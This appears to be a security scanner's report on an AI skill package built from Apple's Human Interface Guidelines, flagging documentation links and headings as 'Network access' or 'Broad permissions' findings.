### [tvOS](https://developer.apple.com/design/human-interface-guidelines/multitasking#tvOS) - Network accessline 80
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/multitasking#visionOS) - Network accessline 102
## [Resources](https://developer.apple.com/design/human-interface-guidelines/multitasking#Resources) - Network accessline 104
#### [Related](https://developer.apple.com/design/human-interface-guidelines/multitasking#Related) - Network accessline 106
[Layout](https://developer.apple.com/design/human-interface-guidelines/layout) - Network accessline 108
[Windows](https://developer.apple.com/design/human-interface-guidelines/windows) - Network accessline 110
[Playing video](https://developer.apple.com/design/human-interface-guidelines/playing-video) - Network accessline 112
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/multitasking#Developer-documentation) - Network accessline 114
[Responding to the launch of your app](https://developer.apple.com/documentation/UIKit/responding-to-the-launch-of-your-app) — UIKit - Network accessline 116
[Multitasking on iPad, Mac, and Apple Vision Pro](https://developer.apple.com/documentation/UIKit/multitasking-on-ipad-mac-and-apple-vision-pro) — UIKit - Network accessline 118
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/multitasking#Videos) - Network accessline 120
[ Elevate the design of your iPad app ](https://developer.apple.com/videos/play/wwd - Network accessline 122
[ Make your UIKit app more flexible ](https://developer.apple.com/videos/play/wwdc2 - Network accessline 124
## [Change log](https://developer.apple.com/design/human-interface-guidelines/multitasking#Change-log)
skills/hig-patterns/references/offering-help.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Offering help | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/offering-help - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/offering-help - Network accessline 9
 - Network accessline 17
**Make sure all help content is inclusive.** For guidance, see [Inclusion](https://developer.apple.com/design/human-interface-guidelines/inclusion). - Network accessline 21
## [Creating tips](https://developer.apple.com/design/human-interface-guidelines/offering-help#Creating-tips) - Network accessline 23
A tip is a small, transient view that briefly describes how to use a feature in your app. Tips are a great way to teach people about new or less obvious features in your app, or help them discover faster ways to accomplish a task. For devel - Network accessline 27
 - Network accessline 49
 - Network accessline 51
 - Network accessline 53
 - Network accessline 57
 - Network accessline 61
 - Network accessline 67
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/offering-help#Platform-considerations) - Network accessline 71
### [macOS, visionOS](https://developer.apple.com/design/human-interface-guidelines/offering-help#macOS-visionOS) - Network accessline 73
A _tooltip_ (called a _help tag_ in user documentation) displays a small, transient view that briefly describes how to use a component in the interface. In apps that run on a Mac — including iPhone and iPad apps — tooltips can appear when a - Network accessline 75
 - Network accessline 91
#### [Related](https://developer.apple.com/design/human-interface-guidelines/offering-help#Related) - Network accessline 93
[Onboarding](https://developer.apple.com/design/human-interface-guidelines/onboarding) - Network accessline 95
[Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback) - Network accessline 97
[Writing](https://developer.apple.com/design/human-interface-guidelines/writing) - Network accessline 99
[Help menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Help-menu) - Network accessline 101
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/offering-help#Developer-documentation) - Network accessline 103
[TipKit](https://developer.apple.com/documentation/TipKit) - Network accessline 105
[`NSHelpManager`](https://developer.apple.com/documentation/AppKit/NSHelpManager) — AppKit - Network accessline 107
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/offering-help#Videos) - Network accessline 109
[ Make features discoverable with TipKit ](https://developer.apple.com/videos/play/w - Network accessline 111
## [Change log](https://developer.apple.com/design/human-interface-guidelines/offering-help#Change-log)
skills/hig-patterns/references/onboarding.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Onboarding | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/onboarding - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/onboarding - Network accessline 9
 - Network accessline 17
**Consider providing a collection of context-specific tips instead of a single onboarding flow.** Integrating contextually relevant tips into your experience can help people learn about their current task while they make progress in your ap - Network accessline 25
## [Additional content](https://developer.apple.com/design/human-interface-guidelines/onboarding#Additional-content) - Network accessline 29
**Don’t let large downloads hinder onboarding.** People want to start using your app or game immediately after first launching it, whether they participate in an onboarding flow or skip it. Consider including enough media and other content - Network accessline 33
## [Additional requests](https://developer.apple.com/design/human-interface-guidelines/onboarding#Additional-requests) - Network accessline 37
**If your app or game needs access to private data or resources before it can function, consider integrating the permission request into your onboarding flow.** In this scenario, making the request during your onboarding flow gives you the - Network accessline 41
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/onboarding#Platform-considerations) - Network accessline 45
## [Resources](https://developer.apple.com/design/human-interface-guidelines/onboarding#Resources) - Network accessline 47
#### [Related](https://developer.apple.com/design/human-interface-guidelines/onboarding#Related) - Network accessline 49
[Launching](https://developer.apple.com/design/human-interface-guidelines/launching) - Network accessline 51
[Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback) - Network accessline 53
[Offering help](https://developer.apple.com/design/human-interface-guidelines/offering-help) - Network accessline 55
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/onboarding#Videos) - Network accessline 57
[ Discoverable design ](https://developer.apple.com/videos/play/wwdc2021/10126) - Network accessline 59
[ Designing Award Winning Apps and Games ](https://developer.apple.com/videos/play/wwdc2019/802) - Network accessline 61
[ Love at First Launch ](https://developer.apple.com/videos/play/wwdc2017/816) - Network accessline 63
## [Change log](https://developer.apple.com/design/human-interface-guidelines/onboarding#Change-log)
skills/hig-patterns/references/playing-audio.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Playing audio | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/playing-audio - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/playing-audio - Network accessline 9
 - Network accessline 25
**Use the system-provided volume view to let people make audio adjustments.** The volume view includes a volume-level slider and a control for rerouting audio output. You can customize the appearance of the slider. For developer guidance, s - Network accessline 27
**Choose an audio category that fits the way your app or game uses sound.** Depending on the audio category you choose, your app’s sounds can mix with other audio, play while your app is in the background, or stop when people set the Ring/S - Network accessline 43
**Let other apps know when your app finishes playing temporary audio.** If your app can temporarily interrupt the audio of other apps, be sure to flag your audio session in a way that lets other apps know when they can resume. For developer - Network accessline 45
## [Handling interruptions](https://developer.apple.com/design/human-interface-guidelines/playing-audio#Handling-interruptions) - Network accessline 49
**Determine how to respond to audio-session interruptions.** For example, if your app supports recording or other audio-related tasks that people don’t want interrupted, you can tell the system to avoid interrupting the currently playing au - Network accessline 51
**When an interruption ends, determine whether to resume audio playback automatically.** Sometimes, audio from a different app can interrupt the audio your app is playing. An interruption can be _resumable_ , like an incoming phone call, or - Network accessline 53
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/playing-audio#Platform-considerations) - Network accessline 55
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/playing-audio#iOS-iPadOS) - Network accessline 57
**Use the system’s sound services to play short sounds and vibrations.** For developer guidance, see [Audio Services](https://developer.apple.com/documentation/AudioToolbox/audio-services). - Network accessline 59
### [macOS](https://developer.apple.com/design/human-interface-guidelines/playing-audio#macOS) - Network accessline 63
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/playing-audio#tvOS) - Network accessline 67
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/playing-audio#visionOS) - Network accessline 73
In visionOS, as in every platform, avoid communicating important information using only sound. Always provide additional ways to help people understand your app. For guidance, see [Accessibility](https://developer.apple.com/design/human-int - Network accessline 89
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/playing-audio#watchOS) - Network accessline 91
In watchOS, the system manages audio playback. An app can play short audio clips while it’s active and running in the foreground, or it can play longer audio that continues even when people lower their wrist or switch to another app. For de - Network accessline 95
**Consider** **presenting a Now Playing view so people can control current or recently played audio without leaving your app.** The system-provided Now Playing view also displays information about the current audio source — which might be a - Network accessline 97
## [Resources](https://developer.apple.com/design/human-interface-guidelines/playing-audio#Resources) - Network accessline 99
#### [Related](https://developer.apple.com/design/human-interface-guidelines/playing-audio#Related) - Network accessline 101
[Playing video](https://developer.apple.com/design/human-interface-guidelines/playing-video) - Network accessline 103
[Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback) - Network accessline 105
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/playing-audio#Developer-documentation) - Network accessline 107
[Configuring your app for media playback](https://developer.apple.com/documentation/AVFoundation/configuring-your-app-for-media-playback) — AVFoundation - Network accessline 109
[`AVAudioSession`](https://developer.apple.com/documentation/AVFAudio/AVAudioSession) — AVFAudio - Network accessline 111
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/playing-audio#Videos) - Network accessline 113
[ Explore immersive sound design ](https://developer.apple.com/videos/play/wwdc2023/ - Network accessline 115
[ Principles of spatial design ](https://developer.apple.com/videos/play/wwdc2023/10 - Network accessline 117
[ Immerse your app in Spatial Audio ](https://developer.apple.com/videos/play/wwdc2021/10265) - Network accessline 119
## [Change log](https://developer.apple.com/design/human-interface-guidelines/playing-audio#Change-log)
skills/hig-patterns/references/playing-haptics.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Playing haptics | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/playing-haptics - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/playing-haptics - Network accessline 9
 can provide haptic feedback (for developer guidance, see [Playing Haptics on Game Controll - Network accessline 17
* [Apple Pencil Pro](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble) and some trackpads can provide haptic feedback when connected to certain iPad models. (For details on Apple Pencil features and co - Network accessline 22
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Best-practices) - Network accessline 24
**Use system-provided haptic patterns according to their documented meanings.** People recognize standard haptics because the system plays them consistently on interactions with standard controls. If the documented use case for a pattern do - Network accessline 28
**Prefer using haptics to complement other feedback in your app or game.** When visual, auditory, and tactile feedback are in harmony — as they generally are in the physical world — the user experience is more coherent and can seem more nat - Network accessline 38
## [Custom haptics](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Custom-haptics) - Network accessline 55
By combining transient and continuous events, varying sharpness and intensity, and including optional audio content, you can create a wide range of different haptic experiences. For developer guidance, see [Core Haptics](https://developer.a - Network accessline 57
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Platform-considerations) - Network accessline 59
### [iOS](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#iOS) - Network accessline 63
* Use standard UI components — like [toggles](https://developer.apple.com/design/human-interface-guidelines/toggles), [sliders](https://developer.apple.com/design/human-interface-guidelines/sliders), and [pickers](https://developer.apple.co - Network accessline 65
* When it makes sense, use a feedback generator to play one of several predefined haptic patterns in the categories of [notification](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Notification), [impact](http - Network accessline 70
#### [Notification](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Notification) - Network accessline 98
#### [Impact](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Impact) - Network accessline 142
#### [Selection](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Selection) - Network accessline 154
### [macOS](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#macOS) - Network accessline 164
For developer guidance, see [`NSHapticFeedbackPerformer`](https://developer.apple.com/documentation/AppKit/NSHapticFeedbackPerformer). - Network accessline 166
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#watchOS) - Network accessline 168
Apple Watch Series 4 and later provides haptic feedback for the Digital Crown, which gives people a more tactile experience as they scroll through content. By default, the system provides linear haptic detents that people can feel as they r - Network accessline 256
## [Resources](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Resources) - Network accessline 258
#### [Related](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Related) - Network accessline 260
[Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback) - Network accessline 262
[Gestures](https://developer.apple.com/design/human-interface-guidelines/gestures) - Network accessline 264
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Developer-documentation) - Network accessline 266
[Core Haptics](https://developer.apple.com/documentation/CoreHaptics) - Network accessline 268
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Videos) - Network accessline 270
[ Practice audio haptic design ](https://developer.apple.com/videos/play/wwdc2021/10278) - Network accessline 272
[ Introducing Core Haptics ](https://developer.apple.com/videos/play/wwdc2019/520) - Network accessline 274
## [Change log](https://developer.apple.com/design/human-interface-guidelines/playing-haptics#Change-log)
skills/hig-patterns/references/playing-video.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Playing video | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/playing-video - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/playing-video - Network accessline 9
. For developer guidance, see [`resizeAspectFill`](https://devel - Network accessline 17
* In fit-to-screen — or _aspect_ — mode, the entire video is visible onscreen, and letterboxing or pillarboxing occurs as needed. This mode is the default for standard video (4:3, 16:9, and anything up to 2:1) and ultrawide video (anything - Network accessline 22
In visionOS and tvOS, the built-in video player also provides _transport controls,_ which let people perform playback tasks, like turning on subtitles or changing the audio language, and actions, like adding a show to a library or favoritin - Network accessline 24
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/playing-video#Best-practices) - Network accessline 37
4:3 video in full-screen viewing mode - Network accessline 41
4:3 video with embedded padding, in full-screen viewing mode - Network accessline 45
21:9 video in fit-to-screen viewing mode - Network accessline 51
21:9 video with embedded padding, in fit-to-screen viewing mode - Network accessline 55
 - Network accessline 81
### [Loading content](https://developer.apple.com/design/human-interface-guidelines/playing-video#Loading-content) - Network accessline 89
### [Exiting playback](https://developer.apple.com/design/human-interface-guidelines/playing-video#Exiting-playback) - Network accessline 97
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/playing-video#Platform-considerations) - Network accessline 101
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/playing-video#tvOS) - Network accessline 107
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/playing-video#visionOS) - Network accessline 124
**Create a thumbnail track if you want to support scrubbing.** The system displays thumbnails as people scrub to different times in the video, helping them choose the section they want. To improve performance, supply a set of thumbnails tha - Network accessline 126
**Avoid expanding an inline video player to fill a window.** When you display the system-provided player view in a window, playback controls appear in the same plane as the player view and not in an ornament that floats above the window. In - Network accessline 128
**Use a RealityKit video player if you need to play video in a view like a splash screen or a transitional view.** In situations like these, people generally expect the video to lead into the next experience, so they don’t need playback con - Network accessline 130
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/playing-video#watchOS) - Network accessline 132
In watchOS, the system manages video playback. Apps can play short video clips while the app is active and running in the foreground. You can use a movie element to embed clips in your interface and play video inline, or you can play a clip - Network accessline 150
## [Resources](https://developer.apple.com/design/human-interface-guidelines/playing-video#Resources) - Network accessline 152
#### [Related](https://developer.apple.com/design/human-interface-guidelines/playing-video#Related) - Network accessline 154
[Playing audio](https://developer.apple.com/design/human-interface-guidelines/playing-audio) - Network accessline 156
[Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback) - Network accessline 158
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/playing-video#Developer-documentation) - Network accessline 160
[Configuring your app for media playback](https://developer.apple.com/documentation/AVFoundation/configuring-your-app-for-media-playback) — AVFoundation - Network accessline 162
[AVKit](https://developer.apple.com/documentation/AVKit) - Network accessline 164
[HTTP Live Streaming](https://developer.apple.com/streaming/) - Network accessline 166
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/playing-video#Videos) - Network accessline 168
[ Create a great video playback experience ](https://developer.apple.com/videos/play/wwdc2022/10147) - Network accessline 170
[ Explore video experiences for visionOS ](https://developer.apple.com/videos/play/ - Network accessline 172
[ Deliver a great playback experience on tvOS ](https://developer.apple.com/videos/play/wwdc2021/10191) - Network accessline 174
## [Change log](https://developer.apple.com/design/human-interface-guidelines/playing-video#Change-log)
skills/hig-patterns/references/printing.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Printing | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/printing - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/printing - Network accessline 9
 - Network accessline 13
**Make printing discoverable.** Help people find your print action by placing it in standard system locations. For example, include a Print item in your macOS app’s File menu; in your iOS or iPadOS app, add a toolbar button that opens an [a - Network accessline 19
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/printing#Platform-considerations) - Network accessline 23
### [macOS](https://developer.apple.com/design/human-interface-guidelines/printing#macOS) - Network accessline 37
## [Resources](https://developer.apple.com/design/human-interface-guidelines/printing#Resources) - Network accessline 39
#### [Related](https://developer.apple.com/design/human-interface-guidelines/printing#Related) - Network accessline 41
[File management](https://developer.apple.com/design/human-interface-guidelines/file-management) - Network accessline 43
[File menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#File-menu) - Network accessline 45
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/printing#Developer-documentation) - Network accessline 47
[`UIPrintInteractionController`](https://developer.apple.com/documentation/UIKit/UIPrintInteractionController) — UIKit - Network accessline 49
[`NSDocument`](https://developer.apple.com/documentation/AppKit/NSDocument) — AppKit
skills/hig-patterns/references/ratings-and-reviews.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Ratings and reviews | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews - Network accessline 9
 - Network accessline 19
 - Network accessline 25
**Prefer the system-provided prompt.** iOS, iPadOS, and macOS offer a consistent, nonintrusive way for apps and games to request ratings and reviews. When you identify places in your experience where it makes sense to ask for feedback, the - Network accessline 27
**Weigh the benefits of resetting your summary rating against the potential disadvantage of showing fewer ratings.** When you release a new version of your app or game, you can reset the summary of individual ratings you received since the - Network accessline 29
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews#Platform-considerations) - Network accessline 33
## [Resources](https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews#Resources) - Network accessline 35
#### [Related](https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews#Related) - Network accessline 37
[Ratings, reviews, and responses](https://developer.apple.com/app-store/ratings-and-reviews/) - Network accessline 39
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews#Developer-documentation) - Network accessline 41
[`RequestReviewAction`](https://developer.apple.com/documentation/StoreKit/RequestReviewAction) — StoreKit - Network accessline 43
## [Change log](https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews#Change-log)
skills/hig-patterns/references/searching.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Searching | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/searching - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/searching - Network accessline 9
. When it makes sense, you can personalize the search experience by using what - Network accessline 13
In some cases, people appreciate the ability to scope a search or filter the results. For example, people might want to search for items by specifying attributes like creation date, file size, or file type. For guidance, see [Scope controls - Network accessline 15
In iOS, iPadOS, and macOS, Spotlight helps people find content across all apps in the system and on the web. When you index and provide information about your app’s content, people can use Spotlight to find content your app contains without - Network accessline 17
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/searching#Best-practices) - Network accessline 19
**If search is important, consider making it a primary action.** For example, in the Apple TV, Photos, and Phone apps in iOS, search occupies a distinct tab in the [tab bar](https://developer.apple.com/design/human-interface-guidelines/tab- - Network accessline 25
**Clearly display the current scope of a search.** Use a descriptive placeholder text, a [scope control](https://developer.apple.com/design/human-interface-guidelines/search-fields#Scope-controls-and-tokens), or a title to help reinforce wh - Network accessline 27
**Provide suggestions to make searching easier.** When you display a personʼs recent searches or offer search suggestions both before and while they’re typing, you can help people search faster and type less. For developer guidance, see [`s - Network accessline 31
## [Systemwide search](https://developer.apple.com/design/human-interface-guidelines/searching#Systemwide-search) - Network accessline 35
**Define metadata for custom file types you handle.** Supply a Spotlight File Importer plug-in that describes the types of metadata your file format contains. For developer guidance, see [`CSImportExtension`](https://developer.apple.com/doc - Network accessline 39
**Prefer using the system-provided open and save views.** The system-provided open and save views generally include a built-in search field that people can use to search and filter the entire system. For related guidance, see [File manageme - Network accessline 41
**Implement a Quick Look generator if your app produces custom file types.** A Quick Look generator helps Spotlight and other apps show previews of your documents. For developer guidance, see [Quick Look](https://developer.apple.com/documen - Network accessline 43
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/searching#Platform-considerations) - Network accessline 47
## [Resources](https://developer.apple.com/design/human-interface-guidelines/searching#Resources) - Network accessline 49
#### [Related](https://developer.apple.com/design/human-interface-guidelines/searching#Related) - Network accessline 51
[Search fields](https://developer.apple.com/design/human-interface-guidelines/search-fields) - Network accessline 53
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/searching#Developer-documentation) - Network accessline 55
[Adding your app’s content to Spotlight indexes](https://developer.apple.com/documentation/CoreSpotlight/adding-your-app-s-content-to-spotlight-indexes) — Core Spotlight - Network accessline 57
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/searching#Videos) - Network accessline 59
[ Support semantic search with Core Spotlight ](https://developer.apple.com/videos/p - Network accessline 61
[ What’s new in iPad app design ](https://developer.apple.com/videos/play/wwdc2022/10009) - Network accessline 63
[ Craft search experiences in SwiftUI ](https://developer.apple.com/videos/play/wwdc2021/10176) - Network accessline 65
## [Change log](https://developer.apple.com/design/human-interface-guidelines/searching#Change-log)
skills/hig-patterns/references/settings.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Settings | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/settings - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/settings - Network accessline 9
 - Network accessline 17
**Aim to provide default settings that give the best experience to the largest number of people.** For example, you can automatically maximize performance for the device your game is running on instead of asking players to make this choice - Network accessline 27
## [General settings](https://developer.apple.com/design/human-interface-guidelines/settings#General-settings) - Network accessline 31
## [Task-specific options](https://developer.apple.com/design/human-interface-guidelines/settings#Task-specific-options) - Network accessline 39
## [System settings](https://developer.apple.com/design/human-interface-guidelines/settings#System-settings) - Network accessline 43
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/settings#Platform-considerations) - Network accessline 47
### [macOS](https://developer.apple.com/design/human-interface-guidelines/settings#macOS) - Network accessline 51
**Include a settings item in the[App menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#App-menu).** Avoid adding settings buttons to a window’s toolbar, because doing so decreases the space available for essen - Network accessline 61
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/settings#watchOS) - Network accessline 65
## [Resources](https://developer.apple.com/design/human-interface-guidelines/settings#Resources) - Network accessline 67
#### [Related](https://developer.apple.com/design/human-interface-guidelines/settings#Related) - Network accessline 69
[Onboarding](https://developer.apple.com/design/human-interface-guidelines/onboarding) - Network accessline 71
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/settings#Developer-documentation) - Network accessline 73
[`Settings`](https://developer.apple.com/documentation/SwiftUI/Settings) — SwiftUI - Network accessline 75
[`UserDefaults`](https://developer.apple.com/documentation/Foundation/UserDefaults) — Foundation - Network accessline 77
[Preference Panes](https://developer.apple.com/documentation/PreferencePanes) - Network accessline 79
## [Change log](https://developer.apple.com/design/human-interface-guidelines/settings#Change-log)
skills/hig-patterns/references/undo-and-redo.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Undo and redo | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/undo-and-redo - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/undo-and-redo - Network accessline 9
 - Network accessline 25
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/undo-and-redo#Platform-considerations) - Network accessline 29
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/undo-and-redo#iOS-iPadOS) - Network accessline 35
### [macOS](https://developer.apple.com/design/human-interface-guidelines/undo-and-redo#macOS) - Network accessline 39
## [Resources](https://developer.apple.com/design/human-interface-guidelines/undo-and-redo#Resources) - Network accessline 41
#### [Related](https://developer.apple.com/design/human-interface-guidelines/undo-and-redo#Related) - Network accessline 43
[Feedback](https://developer.apple.com/design/human-interface-guidelines/feedback) - Network accessline 45
[Pointing devices](https://developer.apple.com/design/human-interface-guidelines/pointing-devices) - Network accessline 47
[Standard keyboard shortcuts](https://developer.apple.com/design/human-interface-guidelines/keyboards#Standard-keyboard-shortcuts) - Network accessline 49
[Edit menu](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar#Edit-menu) - Network accessline 51
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/undo-and-redo#Developer-documentation) - Network accessline 53
[`UndoManager`](https://developer.apple.com/documentation/Foundation/UndoManager) — Foundation - Network accessline 55
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/undo-and-redo#Videos) - Network accessline 57
[ Essential Design Principles ](https://developer.apple.com/videos/play/wwdc2017/802)
skills/hig-patterns/references/workouts.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Workouts | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/workouts - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/workouts - Network accessline 9
 - Network accessline 21
 - Network accessline 39
| Example text from the Workout app ---|--- | GPS is not used during a Pool Swim - Network accessline 40
---|--- | GPS is not used during a Pool Swim, and water may prevent a heart-rate m - Network accessline 41
| GPS is not used during a Pool Swim, and water may prevent a heart-rate measurement - Network accessline 42
| In this type of workout, you earn the calorie equivalent of a brisk walk anytime s - Network accessline 43
| GPS will only provide distance when you do a freestyle stroke. Water might prevent - Network accessline 53
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/workouts#Platform-considerations) - Network accessline 57
## [Resources](https://developer.apple.com/design/human-interface-guidelines/workouts#Resources) - Network accessline 59
#### [Related](https://developer.apple.com/design/human-interface-guidelines/workouts#Related) - Network accessline 61
[Activity rings](https://developer.apple.com/design/human-interface-guidelines/activity-rings) - Network accessline 63
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/workouts#Developer-documentation) - Network accessline 65
[WorkoutKit](https://developer.apple.com/documentation/WorkoutKit) - Network accessline 67
[Workouts and activity rings](https://developer.apple.com/documentation/HealthKit/workouts-and-activity-rings) — HealthKit - Network accessline 69
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/workouts#Videos) - Network accessline 71
[ Track workouts with HealthKit on iOS and iPadOS ](https://developer.apple.com/vide - Network accessline 73
[ Build custom workouts with WorkoutKit ](https://developer.apple.com/videos/play/ww - Network accessline 75
[ Build a workout app for Apple Watch ](https://developer.apple.com/videos/play/wwdc2021/10009)
skills/hig-platforms/SKILL.md
- Network accessline 86
*Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*
skills/hig-platforms/references/designing-for-games.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Designing for games | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/designing-for-games - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/designing-for-games - Network accessline 9
 - Network accessline 15
**Let people play as soon as installation completes.** You don’t want a player’s first experience with your game to be waiting for a lengthy download. Include as much playable content as you can in your game’s initial installation while kee - Network accessline 17
**Provide great default settings.** People appreciate being able to start playing without first having to change a lot of settings. Use information about a player’s device to choose the best defaults for your game, such as the device resolu - Network accessline 19
**Teach through play.** Players often learn better when they discover new information and mechanics in the context of your game’s world, so it can work well to integrate configuration and onboarding flows into a playable tutorial that engag - Network accessline 21
**Defer requests until the right time.** You don’t want to bombard people with too many requests before they start playing, but if your game uses certain sensors on an Apple device or personalizes gameplay by accessing data like hand-tracki - Network accessline 23
[ - Network accessline 31
**Make sure text is always legible.** When game text is hard to read, people can struggle to follow the narrative, understand important instructions and information, and stay engaged in the experience. To keep text comfortably legible on ea - Network accessline 41
**Make sure buttons are always easy to use.** Buttons that are too small or too close together can frustrate players and make gameplay less fun. Each platform defines a recommended minimum button size based on its default interaction method - Network accessline 51
**Prefer resolution-independent textures and graphics.** If creating resolution-independent assets isn’t possible, match the resolution of your game to the resolution of the device. In visionOS, prefer vector-based art that can continue to - Network accessline 53
**Integrate device features into your layout.** For example, a device may have rounded corners or a camera housing that can affect parts of your interface. To help your game look at home on each device, accommodate such features during layo - Network accessline 55
**Make sure in-game menus adapt to different aspect ratios.** Games need to look good and behave well at various aspect ratios, such as 16:10, 19.5:9, and 4:3. In particular, in-game menus need to remain legible and easy to use on every dev - Network accessline 57
**Design for the full-screen experience.** People often enjoy playing a game in a distraction-free, full-screen context. In macOS, iOS, and iPadOS, full-screen mode lets people hide other apps and parts of the system UI; in visionOS, a game - Network accessline 59
[ - Network accessline 78
**Support physical game controllers, while also giving people alternatives.** Every platform except watchOS supports physical game controllers. Although the presence of a game controller makes it straightforward to port controls from an exi - Network accessline 80
**Offer touch-based game controls that embrace the touchscreen experience on iPhone and iPad.** In iOS and iPadOS, your game can allow players to interact directly with game elements, and to control the game using virtual controls that appe - Network accessline 82
[ - Network accessline 105
**Help players personalize their experience.** Players have a variety of preferences and abilities that influence their interactions with your game. Because there’s no universal configuration that suits everyone, give players the ability to - Network accessline 111
[ - Network accessline 117
**Integrate Game Center to help players discover your game across their devices and connect with their friends.** [Game Center](https://developer.apple.com/game-center/) is Apple’s social gaming network, available on all platforms. Game Cen - Network accessline 119
